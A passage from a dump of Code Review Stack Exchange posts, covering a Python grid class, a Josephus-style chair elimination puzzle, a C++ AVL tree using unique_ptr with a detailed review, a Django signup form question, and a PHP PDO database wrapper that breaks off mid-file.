"body": "<p>I am not sure why you do not just use numpys ndarray and instead have invented your own version.\nI would however suggest you make it derive from numpys ndarray, which will save you a lot of work, and it allow you to do all kinds of nice things with it. I would also use <code>__setitem__</code> instead of replace, so you can use the <code>grid[x,y] = value</code>, notation.\nThere are some problems with the padding of the start data. First off it has side effects (your input is actually changed), and secondly it will only work with actual lists, other numpy arrays and <code>Grid</code>s will fail. I recommend generating the grid first, and then slicing in the data when the input does not fit perfectly. Consider whether it would make sense to move setting the grid to have a certain value based on some data (possibly different types) to some other method.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T01:08:24.867",
"Id": "431386",
"Score": "0",
"body": "I appreciate the feedback. I agree but wasn't paying attention, I really shouldn't manipulate the data coming in. thanks"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T01:00:32.027",
"Id": "222785",
"ParentId": "222783",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222785",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T00:23:13.590",
"Id": "222783",
"Score": "2",
"Tags": [
"python",
"game",
"numpy"
],
"Title": "Grid class for games using python"
} | 222783 |
<p>I came across the following challenge. Here is my implementation in Python 3.7</p>
<blockquote>
<p>A room has 100 chairs numbered from 1-100. On the first round of the game the FIRST individual is eliminated. On the second round, the THIRD individual is eliminated. On every successive round the number of people skipped increases by one (0, 1, 2, 3, 4...). So after the third person, the next person asked to leave is the sixth (skip 2 people - i.e: 4 and 5). </p>
<p>This game continues until only 1 person remains. </p>
<p>Which chair is left by the end?</p>
</blockquote>
<p>I actually don't know what the true answer is, but my code outputs <code>31</code>. </p>
<p>I think this is the fastest solution and at worst has an <code>O(N^2)</code> time complexity</p>
<pre><code>n = 100
skip = 0
players = [x for x in range (1, n+1)]
pointer = 0
while len(players) > 1:
pointer += skip
while pointer >= len(players):
pointer = pointer - len(players)
players.pop(pointer)
skip += 1
print(players[0])
</code></pre>
| [] | [
{
"body": "<ul>\n<li><p>The loop</p>\n\n<pre><code>while pointer >= len(players):\n pointer = pointer - len(players)\n</code></pre>\n\n<p>is a long way to say <code>pointer %= len(players)</code>.</p></li>\n<li><p>You'd be in a better position factoring the computations into a function,</p>\n\n<pre><code>def survivor(n):\n skip = 0\n players = [x for x in range (1, n+1)]\n pointer = 0\n while len(players) > 1:\n pointer += skip\n while pointer >= len(players):\n pointer = pointer - len(players)\n players.pop(pointer)\n skip += 1\n return players[0]\n</code></pre>\n\n<p>and adding an <code>if __name__ == '__main__'</code> clause. This way it is easy to generate first few results.</p></li>\n</ul>\n\n<hr>\n\n<p>TL;DR</p>\n\n<p>I did so, generated first 20 numbers,</p>\n\n<pre><code> 1 2 2 2 4 5 4 8 8 7 11 8 13 4 11 12 8 12 2\n</code></pre>\n\n<p>and search this sequence in OEIS. </p>\n\n<p>Surprisingly there was a <a href=\"https://oeis.org/search?q=1%2C2%2C2%2C2%2C4%2C5%2C4%2C8%2C8&language=english&go=Search\" rel=\"nofollow noreferrer\">match</a>. A closer inspection demonstrated that the problem is a <a href=\"https://en.wikipedia.org/wiki/Josephus_problem\" rel=\"nofollow noreferrer\">Josephus problem</a> with eliminating every <code>n</code>-th person. Try to prove, or at least convince yourself, that it is indeed the case.</p>\n\n<p><a href=\"https://oeis.org/A007495/a007495_2.txt\" rel=\"nofollow noreferrer\">Further reading</a> revealed that there is a linear solution.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T18:15:47.860",
"Id": "222819",
"ParentId": "222799",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222819",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T11:48:02.713",
"Id": "222799",
"Score": "0",
"Tags": [
"python",
"python-3.x",
"programming-challenge"
],
"Title": "The 100 chair survivor challenge"
} | 222799 |
<p>I've implemented an AVL tree using unique_ptr. The code has been stress-tested and there are no crashes or segmentation faults. I left the program running at night and stopped it manually the next morning and there were a couple of millions of iterations and they all were passed. </p>
<p>Just one note: There could be comments about member variables privacy in class Node I just would like to mention that I'm going to implement that.</p>
<p>Any thoughts, comments?</p>
<pre><code>#include <algorithm>
#include <memory>
#include <vector>
class Node {
public:
int data;
Node* parent;
std::unique_ptr<Node> left;
std::unique_ptr<Node> right;
public:
Node() : data(0) {
parent = nullptr;
left = nullptr;
right = nullptr;
}
explicit Node(int d) : data(d),
parent(nullptr) {
left = nullptr;
right = nullptr;
}
};
class Avl {
private:
size_t current_size;
Node* root;
private:
int height(Node* node);
Node* get_min(const Node* node);
Node* inorder_successor(const Node* node);
void add_helper(Node* parent, Node* node);
Node* find_helper(const Node* parent_node, const Node* node);
Node* find_helper(const Node* parent_node, const int data);
void transplant(Node* node, Node* second_node);
std::unique_ptr<Node> left_rotate(Node* node);
std::unique_ptr<Node> right_rotate(Node* node);
std::unique_ptr<Node> left_right_rotate(Node* node);
std::unique_ptr<Node> right_left_rotate(Node* node);
void check_balance(Node* node);
std::unique_ptr<Node> rebalance(Node* node);
void traverse_inorder_helper(std::unique_ptr<Node>& node, std::vector<int>& out);
void traverse_preorder_helper(std::unique_ptr<Node>& node, std::vector<int>& out);
void traverse_postorder_helper(std::unique_ptr<Node>& node, std::vector<int>& out);
public:
Avl() : current_size(0),
root(nullptr) {}
~Avl() {
delete root;
}
void add(Node* node);
void add(int data);
Node* find(Node* node);
Node* find(int data);
void remove(Node* node);
void remove(const int& data);
void destroy();
void traverse_inorder(std::vector<int>& out);
void traverse_preorder(std::vector<int>& out);
void traverse_postorder(std::vector<int>& out);
size_t size() const {
return current_size;
}
bool empty() const {
return !(static_cast<bool>(current_size));
}
};
int Avl::height(Node* node) {
if(!node) {
return 0;
}
int left = height(node->left.get());
int right = height(node->right.get());
return std::max(left, right) + 1;
}
Node* Avl::get_min(const Node* node) {
Node* temp = node->right.get();
while(temp->left) {
temp = temp->left.get();
}
return temp;
}
void Avl::remove(Node* node) {
Node* successor(nullptr);
if(!node->left) {
transplant(node, node->right.get());
check_balance(node);
} else if(!node->right) {
transplant(node, node->left.get());
check_balance(node);
} else {
successor = inorder_successor(node);
if(successor->parent != node) {
transplant(successor, successor->right.get());
check_balance(successor->parent);
successor->right.release();
successor->right.reset(node->right.get());
if(successor->right) {
successor->right->parent = successor;
}
}
transplant(node, successor);
successor->left.release();
successor->left.reset(node->left.get());
if(successor->left) {
successor->left->parent = successor;
}
successor->parent = node->parent;
check_balance(successor);
}
}
void Avl::remove(const int& data) {
Node* node = find(data);
if(!node) {
return;
}
Node* successor(nullptr);
if(!node->left) {
transplant(node, node->right.get());
check_balance(node);
} else if(!node->right) {
transplant(node, node->left.get());
check_balance(node);
} else {
successor = inorder_successor(node);
if(successor->parent != node) {
transplant(successor, successor->right.get());
check_balance(successor->parent);
successor->right.release();
successor->right.reset(node->right.get());
if(successor->right) {
successor->right->parent = successor;
}
}
transplant(node, successor);
successor->left.release();
successor->left.reset(node->left.get());
if(successor->left) {
successor->left->parent = successor;
}
successor->parent = node->parent;
check_balance(successor);
}
}
Node* Avl::find_helper(const Node* parent_node, const Node* node) {
if(!parent_node || parent_node->data == node->data) {
return const_cast<Node*>(parent_node);
}
if(node->data > parent_node->data) {
return find_helper(parent_node->right.get(), node);
} else if(node->data < parent_node->data) {
return find_helper(parent_node->left.get(), node);
}
return nullptr;
}
Node* Avl::find_helper(const Node* parent_node, const int data) {
if(!parent_node || data == parent_node->data) {
return const_cast<Node*>(parent_node);
}
if(data > parent_node->data) {
return find_helper(parent_node->right.get(), data);
} else if(data < parent_node->data) {
return find_helper(parent_node->left.get(), data);
}
return nullptr;
}
Node* Avl::find(Node* node) {
return find_helper(root, node);
}
Node* Avl::find(int data) {
return find_helper(root, data);
}
void Avl::destroy() {
delete root;
}
void Avl::transplant(Node* node, Node* second_node)
{
if(!node->parent) {
root = second_node;
}
if(node->parent && node->parent->right.get() == node) {
node->parent->right.release();
node->parent->right.reset(second_node);
} else if(node->parent && node->parent->left.get() == node) {
node->parent->left.release();
node->parent->left.reset(second_node);
}
if(node->parent && second_node) {
second_node->parent = node->parent;
}
}
Node* Avl::inorder_successor(const Node* node) {
Node* temp = const_cast<Node*>(node);
if(temp->right) {
return get_min(temp);
}
Node* parent = temp->parent;
while(parent && temp == parent->right.get()) {
temp = parent;
parent = parent->parent;
}
return parent;
}
std::unique_ptr<Node> Avl::left_rotate(Node* node) {
std::unique_ptr<Node> temp = std::unique_ptr<Node>(new Node);
temp = std::move(node->right);
node->right = std::move(temp->left);
temp->left.reset(node);
if(node->right.get()) {
node->right->parent = node;
}
temp->parent = node->parent;
Node* temp_raw = temp.release();
if(node->parent) {
if(node == node->parent->left.get()) {
Node* npl = node->parent->left.release();
npl = temp_raw;
node->parent->left.reset(npl);
} else if(node == node->parent->right.get()) {
Node* npr = node->parent->right.release();
npr = temp_raw;
node->parent->right.reset(npr);
}
}
node->parent = temp_raw;
return std::unique_ptr<Node>(temp_raw);
}
std::unique_ptr<Node> Avl::right_rotate(Node* node) {
std::unique_ptr<Node> temp = std::unique_ptr<Node>(new Node);
temp = std::move(node->left);
node->left = std::move(temp->right);
temp->right.reset(node);
if(node->left.get()) {
node->left->parent = node;
}
temp->parent = node->parent;
Node* temp_raw = temp.release();
if(node->parent) {
if(node == node->parent->left.get()) {
Node* npl = node->parent->left.release();
npl = temp_raw;
node->parent->left.reset(npl);
} else if(node == node->parent->right.get()) {
Node* npr = node->parent->right.release();
npr = temp_raw;
node->parent->right.reset(npr);
}
}
node->parent = temp_raw;
return std::unique_ptr<Node>(temp_raw);
}
std::unique_ptr<Node> Avl::left_right_rotate(Node* node) {
Node* left = node->left.release();
node->left = std::move(left_rotate(left));
return right_rotate(node);
}
std::unique_ptr<Node> Avl::right_left_rotate(Node* node) {
Node* right = node->right.release();
node->right = std::move(right_rotate(right));
return left_rotate(node);
}
void Avl::add_helper(Node* parent, Node* node) {
if(node->data > parent->data) {
if(!parent->right.get()) {
parent->right.reset(node);
node->parent = parent;
++current_size;
} else {
add_helper(parent->right.get(), node);
}
} else if(node->data < parent->data) {
if(!parent->left.get()) {
parent->left.reset(node);
node->parent = parent;
++current_size;
} else {
add_helper(parent->left.get(), node);
}
} else {
return;
}
check_balance(node);
return;
}
void Avl::add(Node* node) {
if(!root) {
root = node;
return;
}
add_helper(root, node);
}
void Avl::add(int data) {
if(!root) {
root = new Node(data);
return;
}
Node* node = new Node(data);
add_helper(root, node);
}
void Avl::check_balance(Node* node) {
int left = height(node->left.get());
int right = height(node->right.get());
if(left - right > 1 || left - right < -1) {
std::unique_ptr<Node> uptr = std::move(rebalance(node));
node = uptr.release();
}
if(!node->parent) {
return;
}
check_balance(node->parent);
}
std::unique_ptr<Node> Avl::rebalance(Node* node) {
int left = height(node->left.get());
int right = height(node->right.get());
std::unique_ptr<Node> uptr = std::unique_ptr<Node>();
if(left - right > 1) {
if(height(node->left->left.get()) >= height(node->left->right.get())) {
uptr = std::move(right_rotate(node));
} else {
uptr = std::move(left_right_rotate(node));
}
}
left = height(node->left.get());
right = height(node->right.get());
if(left - right < -1) {
if(height(node->right->right.get()) >= height(node->right->left.get())) {
uptr = std::move(left_rotate(node));
} else {
uptr = std::move(right_left_rotate(node));
}
}
if(!uptr->parent) {
root = uptr.release();
return std::unique_ptr<Node>(root);
}
return uptr;
}
void Avl::traverse_inorder(std::vector<int>& out) {
std::unique_ptr<Node> root_ptr(root);
traverse_inorder_helper(root_ptr, out);
root = root_ptr.release();
}
void Avl::traverse_preorder(std::vector<int>& out) {
std::unique_ptr<Node> root_ptr(root);
traverse_preorder_helper(root_ptr, out);
root = root_ptr.release();
}
void Avl::traverse_postorder(std::vector<int>& out) {
std::unique_ptr<Node> root_ptr(root);
traverse_postorder_helper(root_ptr, out);
root = root_ptr.release();
}
void Avl::traverse_inorder_helper(std::unique_ptr<Node>& node, std::vector<int>& out) {
if(!node) {
return;
}
traverse_inorder_helper(node->left, out);
out.push_back(node->data);
traverse_inorder_helper(node->right, out);
}
void Avl::traverse_preorder_helper(std::unique_ptr<Node>& node, std::vector<int>& out) {
if(!node) {
return;
}
out.push_back(node->data);
traverse_preorder_helper(node->left, out);
traverse_preorder_helper(node->right, out);
}
void Avl::traverse_postorder_helper(std::unique_ptr<Node>& node, std::vector<int>& out) {
if(!node) {
return;
}
traverse_postorder_helper(node->left, out);
traverse_postorder_helper(node->right, out);
out.push_back(node->data);
}
</code></pre>
<p>Here is a given a minimal version of the stress-test code. As a golden has been used rosetta-avl:</p>
<pre><code>#include <ctime>
#include <vector>
#include <iostream>
#include "../src/mset.hpp"
#include "../shared_src/avl.h"
int generate_random_int(int min, int max) {
return min + (rand() % (int)(max - min + 1));
}
void generate_random_vector(std::vector<int>& out, const int min,
const int max, const size_t max_size) {
size_t size = generate_random_int(0, max_size);
for(size_t i = 0; i < size; ++i) {
int num = generate_random_int(min, max);
out.push_back(num);
}
}
void show(const std::vector<int>& out) {
for(int i = 0; i < out.size(); ++i) {
std::cout << out[i] << ", ";
}
std::cout << "\n";
}
void init_sets(Avl* set, AVLtree<int>* set_golden, int min, int max, size_t max_size) {
std::vector<int> out;
generate_random_vector(out, min, max, max_size);
for(auto const& item : out) {
set->add(item);
set_golden->insert(item);
}
if(!out.empty()) {
size_t random_index = generate_random_int(0, out.size() - 1);
#ifdef DEBUG
std::cout << "The initial vector:\n\t";
show(out);
#endif
set->remove(out[random_index]);
set_golden->deleteKey(out[random_index]);
#ifdef DEBUG
std::cout << "The removed element:\n\t";
std::cout << out[random_index] << "\n";
#endif
}
}
bool stress_test(const int min, const int max, const size_t max_size) {
int i = 0;
while(1) {
Avl* set = new Avl();
AVLtree<int>* set_golden = new AVLtree<int>();
std::cout << "##############################################" << "\n";
init_sets(set, set_golden, min, max, max_size);
std::vector<int> out;
//set->traverse_preorder(out);
set->traverse_postorder(out);
std::vector<int> out_golden;
//set_golden->preorder(out_golden);
set_golden->postorder(out_golden);
if(out == out_golden) {
std::cout << "PASS\n ";
} else {
std::cout << "FAIL\n ";
break;
}
std::cout << "\tout: ";
show(out);
std::cout << "\tgolden: ";
show(out_golden);
std::cout << "\n";
std::cout << "##############################################" << "\n";
delete set;
delete set_golden;
std::cout << "Iteration: " << i << "\n";
++i;
}
return 0;
}
int main() {
int result = stress_test(0, 1000000000, 1000);
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T14:51:45.497",
"Id": "431447",
"Score": "0",
"body": "Could you provide a test case, showing this code in action?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T15:15:42.110",
"Id": "431448",
"Score": "0",
"body": "dfhwze - I've added a test case. Please see the below-given code."
}
] | [
{
"body": "<h1>Prefer default member initialization</h1>\n<p>You can use default <a href=\"https://en.cppreference.com/w/cpp/language/data_members#Member_initialization\" rel=\"nofollow noreferrer\">member initialization</a> to avoid repeating common initialization in the constructors. Also, <code>std::unique_ptr</code> will already initialize itself, there is no need to do this explicitly. So:</p>\n<pre><code>class Node {\n int data{};\n Node* parent{};\n std::unique_ptr<Node> left;\n std::unique_ptr<Node> right;\n\n public:\n Node() = default;\n explicit Node(int d) : data(d) {}\n};\n</code></pre>\n<h1>Move <code>class Node</code> inside <code>class Avl</code></h1>\n<p>Class <code>Node</code> is just an implementation detail of <code>Avl</code>. Move it inside <code>class Avl</code>, this will also avoid polluting the global namespace with the very generic name <code>Node</code>. This might require you to write <code>Avl::Node</code> in some places. So:</p>\n<pre><code>class Avl {\npublic:\n class Node {\n ...\n };\n\n ...\n};\n</code></pre>\n<h1>Make member functions that do not modify the tree <code>const</code></h1>\n<p>This helps the compiler generate better code, and will let the compiler report an error if you accidentily do modify any of the member variables of <code>Avl</code>. For example, <code>height()</code> doesn't modify the tree, so it should be marked <code>const</code>:</p>\n<pre><code>int height(const Node* node) const;\n</code></pre>\n<p>There are many more functions that can be made <code>const</code>. You do seem to know about this because you did it for <code>size()</code> and <code>empty()</code>.</p>\n<h1>Avoid unnecessary initialization</h1>\n<p>Initializing a <code>std::unique_ptr</code> with a default constructed temporary is redundant. Instead of:</p>\n<pre><code>std::unique_ptr<Node> uptr = std::unique_ptr<Node>();\n</code></pre>\n<p>Just write:</p>\n<pre><code>std::unique_ptr<Node> uptr;\n</code></pre>\n<h1>Use <code>std::make_unique</code> to construct new <code>Node</code>s</h1>\n<p>You can avoid manual calls to <code>new</code> and repeating types by using <code>auto</code> and <a href=\"https://en.cppreference.com/w/cpp/memory/unique_ptr/make_unique\" rel=\"nofollow noreferrer\"><code>std::make_unique</code></a>. For exampe, instead of writing:</p>\n<pre><code>std::unique_ptr<Node> temp = std::unique_ptr<Node>(new Node);\n</code></pre>\n<p>You can write:</p>\n<pre><code>auto temp = std::make_unique<Node>();\n</code></pre>\n<h1>Make use of <code>std::unique_ptr</code>'s automatic pointer moving functionality</h1>\n<p>I see you use <code>release()</code> and <code>reset()</code> a lot, but instead of manually releasing pointers, you can make use of the fact that assigning one <code>std::unique_ptr</code> will do all these tasks automatically for you. For example, instead of:</p>\n<pre><code>successor->right.release();\nsuccessor->right.reset(node->right.get());\n</code></pre>\n<p>You can just write:</p>\n<pre><code>successor->right.reset(node->right.get());\n</code></pre>\n<p>The call to <code>reset()</code> already implies that it will release the old pointer. Furthermore, instead of:</p>\n<pre><code>Node* temp_raw = temp.release();\nNode* npl = node->parent->left.release();\nnpl = temp_raw;\nnode->parent->left.reset(npl);\n</code></pre>\n<p>You can write:</p>\n<pre><code>node->parent->left = std::move(temp);\n</code></pre>\n<p>Since the <a href=\"https://en.cppreference.com/w/cpp/memory/unique_ptr/operator%3D\" rel=\"nofollow noreferrer\">move assignment operator</a> will take care of releasing correctly for both the left and right hand side. You can also do this in a <code>return</code> statement. So instead of:</p>\n<pre><code>root = uptr.release();\nreturn std::unique_ptr<Node>(root);\n</code></pre>\n<p>Just write:</p>\n<pre><code>return std::move(uptr);\n</code></pre>\n<p>Finally, you can also use <a href=\"https://en.cppreference.com/w/cpp/memory/unique_ptr/swap2\" rel=\"nofollow noreferrer\"><code>std::swap()</code></a> if you need to swap two <code>std::unique_ptr</code>s, so instead of:</p>\n<pre><code>std::unique_ptr<Node> temp = std::unique_ptr<Node>(new Node);\ntemp = std::move(node->right);\nnode->right = std::move(temp->left);\ntemp->left.reset(node);\n</code></pre>\n<p>You can write:</p>\n<pre><code>auto temp = std::make_unique<Node>();\nstd::swap(node->right, temp->left);\n</code></pre>\n<h1>Consider avoiding signed integers for things that cannot be negative</h1>\n<p>You store the height as an <code>int</code>. However, a negative height for an AVL tree does not make sense. You could make it an <code>unsigned int</code> instead. This does mean a little care is necessary, for example instead of:</p>\n<pre><code>if(left - right > 1 || left - right < -1) {\n</code></pre>\n<p>You should write:</p>\n<pre><code>if(left > right + 1 || right > left + 1) {\n</code></pre>\n<p>On the other hand, it's only used internally, using <code>unsigned int</code> might actually introduce a bug if you don't take care of wraparound if you subtract values, and the height is only ever a very small value, so this is just me being very pedantic.</p>\n<h1>Expose iterators for tree traversal</h1>\n<p>The functions for traversing the tree are particularly bad. They force the use of a <code>std::vector</code> that will contain a copy of all the data, which wastes memory and potentially time if not all elements are going to be necessary. Also, ideally you would want to write something like this:</p>\n<pre><code>Avl tree;\n...\nfor (auto &item: tree.pre_order()) {\n std::cout << item << ", ";\n}\n</code></pre>\n<p>This would require you to write <code>class</code>es that represents the in-order, pre-order and post-order views of the tree, and each of these classes would contain a <code>begin()</code> and <code>end()</code> member function that return iterators that will iterate in the given order. I would also make the <code>Avl</code> class itself expose <code>begin()</code> and <code>end()</code> that do in-order traversal, so you get the items in sorted order, as you would expect from a <code>std::set</code> for example.</p>\n<h1>Consider making it look more like a STL container</h1>\n<p>You already have some member function names that are the same as those used in STL containers, such as <code>empty()</code>, <code>size()</code>, and <code>remove()</code>. Some others can be renamed to match the STL naming conventions:</p>\n<ul>\n<li><code>add()</code> -> insert()`</li>\n<li><code>destroy()</code> -> <code>clear()</code></li>\n</ul>\n<p>Also consider adding functions from <a href=\"https://en.cppreference.com/w/cpp/container/set\" rel=\"nofollow noreferrer\"><code>std::set</code></a>, such as <code>equal_range()</code>, <code>lower_bound()</code>, and so on. Furthermore, add a constructor that takes an initializer list of elements to add to the tree, so you can write:</p>\n<pre><code>Avl tree{3, 6, 2, 9};\n</code></pre>\n<h1>Consider making this a <code>template</code></h1>\n<p>Your AVL tree can only store <code>int</code>s. Consider making it a template, so you can store different types, and perhaps have a different comparison function as well.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-01T20:05:05.620",
"Id": "251438",
"ParentId": "222808",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T14:01:11.070",
"Id": "222808",
"Score": "3",
"Tags": [
"c++",
"algorithm",
"object-oriented",
"tree"
],
"Title": "An implementation of an AVL tree with unique_ptr"
} | 222808 |
<p>I have a <code>signupView</code> that shows 2 forms: <code>SignUpForm</code> and <code>ProfileForm</code>.</p>
<p>Basically, <code>SignUpForm</code> collects data like <code>first_name</code>, <code>last_name</code>, <code>user_name</code>, <code>email</code>, <code>password1</code>, <code>password2</code>.</p>
<p>And <code>ProfileForm</code> collects data like <code>dni</code>, <code>birthdate</code>, <code>shipping_address</code>, etc.</p>
<p>I'm using this approach because is what I know. But was wondering if I can collect the fields in <code>ProfileForm</code> in just one form, the <code>SignUpForm</code>.</p>
<p><strong>views.py</strong></p>
<pre><code>@transaction.atomic
def signupView(request):
peru = Peru.objects.all()
department_list = set()
province_list = set()
district_list = set()
for p in peru:
department_list.add(p.departamento)
department_list = list(department_list)
if len(department_list):
province_list = set(Peru.objects.filter(departamento=department_list[0]).values_list("provincia", flat=True))
province_list = list(province_list)
else:
province_list = set()
if len(province_list):
district_list = set(
Peru.objects.filter(departamento=department_list[0], provincia=province_list[0]).values_list("distrito",
flat=True))
else:
district_list = set()
if request.method == 'POST':
user_form = SignUpForm(request.POST)
profile_form = ProfileForm(district_list, province_list, department_list, request.POST, request.FILES)
if user_form.is_valid() and profile_form.is_valid():
user = user_form.save(commit=False)
user.is_active = False
user.save()
username = user_form.cleaned_data.get('username')
signup_user = User.objects.get(username=username)
customer_group = Group.objects.get(name='Clientes')
customer_group.user_set.add(signup_user)
raw_password = user_form.cleaned_data.get('password1')
user.refresh_from_db() # This will load the Profile created by the Signal
profile_form = ProfileForm(district_list, province_list, department_list, request.POST, request.FILES,
instance=user.profile) # Reload the profile form with the profile instance
profile_form.full_clean() # Manually clean the form this time. It is implicitly called by "is_valid()" method
profile_form.save() # Gracefully save the form
return redirect('shop:email_confirmation_needed')
else:
user_form = SignUpForm()
profile_form = ProfileForm(district_list, province_list, department_list)
return render(request, 'accounts/signup.html', {
'user_form': user_form,
'profile_form': profile_form
})
</code></pre>
<p><strong>models.py</strong></p>
<pre><code>### User Profile ###
class Profile(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE)
birthdate = models.DateField(null=True, blank=True)
dni = models.CharField(max_length=30, blank=True)
phone_number = models.CharField(max_length=30, blank=True)
shipping_address1 = models.CharField(max_length=100, blank=False)
reference = models.CharField(max_length=100, blank=False)
shipping_department = models.CharField(max_length=100, blank=False)
shipping_province = models.CharField(max_length=100, blank=False)
shipping_district = models.CharField(max_length=100, blank=False)
photo = models.ImageField(upload_to='profile_pics', default='profile_pics/default_profile_pic_white.png')
def __str__(self):
return str(self.user.first_name) + "'s profile"
@receiver(post_save, sender=User)
def update_user_profile(sender, instance, created, **kwargs):
if created:
Profile.objects.create(user=instance)
instance.profile.save()
</code></pre>
<p><strong>forms.py:</strong></p>
<pre><code>class SignUpForm(UserCreationForm):
error_messages = {
'password_mismatch': "Las contraseñas no coinciden.",
}
first_name = forms.CharField(label="Nombre", max_length=100, required=True)
last_name = forms.CharField(label='Apellido', max_length=100, required=True)
username = forms.CharField(label='Nombre de usuario', max_length=100, required=True,
error_messages={'invalid': "you custom error message"})
email = forms.EmailField(label='Correo electrónico', max_length=60, required=True)
password1 = forms.CharField(label='Contraseña', widget=forms.PasswordInput)
password2 = forms.CharField(label='Confirmar contraseña', widget=forms.PasswordInput)
def __init__(self, *args, **kwargs):
super(SignUpForm, self).__init__(*args, **kwargs)
for fieldname in ['username', 'password1', 'password2']:
self.fields[fieldname].help_text = None
def clean_password2(self):
password1 = self.cleaned_data.get("password1")
password2 = self.cleaned_data.get("password2")
if password1 and password2 and password1 != password2:
raise forms.ValidationError(
self.error_messages['password_mismatch'],
code='password_mismatch',
)
return password2
class Meta:
model = User
fields = ('first_name', 'last_name', 'username', 'email', 'password1',
'password2')
class ProfileForm(ModelForm):
MONTHS = {
1:'ene', 2:'feb', 3:'mar', 4:'abr',
5:'may', 6:'jun', 7:'jul', 8:'ago',
9:'set', 10:'oct', 11:'nov', 12:'dic'
}
def __init__(self, district_list, province_list, department_list, *args, **kwargs):
super(ProfileForm, self).__init__(*args, **kwargs)
self.fields['shipping_district'] = forms.ChoiceField(label='Distrito', choices=tuple([(name, name) for name in district_list]))
self.fields['shipping_province'] = forms.ChoiceField(label='Provincia', choices=tuple([(name, name) for name in province_list]))
self.fields['shipping_department'] = forms.ChoiceField(label='Departamento', choices=tuple([(name, name) for name in department_list]))
dni = forms.CharField(label='DNI', max_length=100, required=True)
phone_number = forms.CharField(label='Celular')
birthdate = forms.DateField(label='Fecha de nacimiento', widget=SelectDateWidget(years=range(1980, 2012), months=MONTHS))
shipping_address1 = forms.CharField(label='Dirección de envío', max_length=100, required=True)
shipping_address2 = forms.CharField(label='Referencia (opcional)', max_length=100, required=False)
class Meta:
model = Profile
fields = ('dni', 'phone_number', 'birthdate', 'shipping_address1',
'shipping_address2', 'shipping_department', 'shipping_province', 'shipping_district')
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T14:46:48.723",
"Id": "222809",
"Score": "3",
"Tags": [
"python",
"django"
],
"Title": "ProfileForm that collects extra fields on User Signup"
} | 222809 |
<p>I'm writing my own framework in PHP and I want respect the SOLID principles.</p>
<p>I made this interface:</p>
<pre><code><?php
namespace System\Database;
use System\Config;
/**
* Database wrapper interface
*/
interface Database
{
/**
* Connect to database
* @param Config $config
* @return bool return true or throw Exception
*/
public function connect(Config &$config) : bool;
/**
* Prepare a SQL query
* @param string $query Query
* @param array $params Params to bind to query
*/
public function prepare(string $query, array $params = []);
/**
* Execute prepared query, without return any datas
*/
public function execute();
/**
* Execute prepared query and return all results
*/
public function resultset();
/**
* Execute prepared query and return only a single row
*/
public function single();
/**
* Return the number of row affected
* @return int Row numbers
*/
public function rowCount() : int;
/**
* Insert records in a table
* @param string $table Name of the table
* @param array $data Array with table fields and values - Ex: ['name' => 'test']
*/
public function insertRecords(string $table, array $data);
/**
* Update records in a table
* @param string $table Name of the table
* @param array $changes Array with table fields and values - Ex: ['name' => 'test']
* @param array $conditions Conditions needed to perform it Ex: ['id' => 1]
*/
public function updateRecords(string $table, array $changes, array $conditions);
/**
* Delete records in a table
* @param string $table Name of the table
* @param string $conditions Conditions needed to perform it - Ex: "id = :id"
* @param array $params Params to replace in conditions
* @return int Row affected
*/
public function deleteRecords(string $table, string $conditions, array $params = []) : int;
/**
* Returns the last inserted id
* @return int ID
*/
public function lastInsertId() : int;
/**
* Close the connection
*/
public function closeConnection();
}
?>
</code></pre>
<p>Implemented by this class:</p>
<pre><code><?php
/*
* PDO Driver implementation
*/
namespace System\Database;
use System\Config;
use System\Database\Database;
use \PDO;
class PDODriver implements Database {
private $pdo;
private $stmt;
private $connected = false;
public function connect(Config &$config): bool
{
$connectionString = 'mysql:host='.$config->get('db_server').';port='.$config->get('db_port').';dbname='.$config->get('db_name');
try{
$this->pdo = new PDO(
$connectionString,
$config->get('db_username'),
$config->get('db_password')
);
# We can now log any exceptions on Fatal error.
$this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
# Disable emulation of prepared statements, use REAL prepared statements instead.
$this->pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
$this->connected = true;
return true;
// Error handling
}catch(PDOException $e){
throw new \Exception("Failed to connect to DB: ". $e->getMessage(), 1);
}
}
public function prepare(string $sql, array $params = [])
{
$this->stmt = $this->pdo->prepare($sql);
if(!empty($params))
{
$this->bindParams($params);
}
}
/**
* Bind param value to prepared sql query
* @param string $param
* @param $value
* @param $type
*/
private function bind(string $param, $value, $type = null)
{
if(is_null($type))
{
switch (TRUE) {
case is_int($value):
$type = PDO::PARAM_INT;
break;
case is_bool($value):
$type = PDO::PARAM_BOOL;
break;
case is_null($value):
$type = PDO::PARAM_NULL;
break;
default:
$type = PDO::PARAM_STR;
}
$this->stmt->bindValue(':'.$param, $value, $type);
}
}
/**
* Bind a group of params
* @param array $params Array with params and values Ex: ['name' => 'test']
* @param string $prefix Prefix to prepend to param name
*/
private function bindParams(array $params, string $prefix = '')
{
foreach ($params as $key => $value) {
$this->bind($prefix.$key, $value);
}
}
/**
* Eseque la query preparata
*/
public function execute(){
return $this->stmt->execute();
}
public function resultset()
{
$mode = PDO::FETCH_ASSOC;
$this->execute();
$this->stmt->fetchAll($mode);
}
public function single()
{
$mode = PDO::FETCH_ASSOC;
$this->execute();
$this->stmt->fetch($mode);
}
public function rowCount(): int
{
return $this->stmt->rowCount();
}
/**
* Elimina record dal database. Es: (users, where id = :id, ['id' => 1])
